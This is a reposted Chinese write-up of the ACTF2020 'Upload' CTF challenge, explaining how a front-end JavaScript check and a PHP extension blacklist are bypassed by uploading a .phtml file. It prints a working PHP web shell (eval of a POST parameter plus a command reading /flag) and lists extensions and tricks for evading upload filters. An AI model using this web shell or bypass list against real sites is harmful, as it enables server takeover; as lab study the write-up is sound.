[BUUOJ記錄] [ACTF2020 新生賽]Upload


簡單的上傳題,考察繞過前端Js驗證,phtml拓展名的應用

打開題目點亮小燈泡后可以看到一個上傳點

 

傳一個php測試一下:

 

 

 發現有文件拓展名檢查,F12發現是Js前端驗證:

 

 審查元素直接刪掉,繼續上傳PHP文件測試:

 

 發現還是被過濾了,應該是后端還有一次驗證,換成phtml文件測試,phtml文件代碼如下:

GIF89a  //習慣在文件前加上GIF89a來繞過PHP getimagesize的檢查,這道題中有無皆可
<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>

再次上傳:

 

 

上傳成功,獲得Flag

 

 

做完之后還在想是不是也可以通過其他拓展名來繞過,Shell連上之后看了下源代碼和.htaccess文件發現這道題就是考察phtml的

上傳點的源碼如下:

<?php
    error_reporting(0);
    //設置上傳目錄
    define("UPLOAD_PATH", "./uplo4d");
    $msg = "Upload Success!";
    if (isset($_POST['submit'])) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_name = $_FILES['upload_file']['name'];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {   //這里不出所料,過濾了常見的php文件拓展名
            exit('nonono~ Bad file!');
        }

        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
    }


?>

再看看.htaccess文件:

<FilesMatch \.phtml$>
    SetHandler application/x-httpd-php
</FilesMatch>

 

最后總結一下CTF文件上傳題中常用的php拓展名:

  • 利用中間件解析漏洞繞過檢查,實戰常用
  • 上傳.user.ini或.htaccess將合法拓展名文件當作php文件解析
  • %00截斷繞過
  • php3文件
  • php4文件
  • php5文件
  • php7文件
  • phtml文件
  • phps文件
  • pht文件

晚點寫一篇文件上傳漏洞的總結吧,就這樣,啥也不是。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM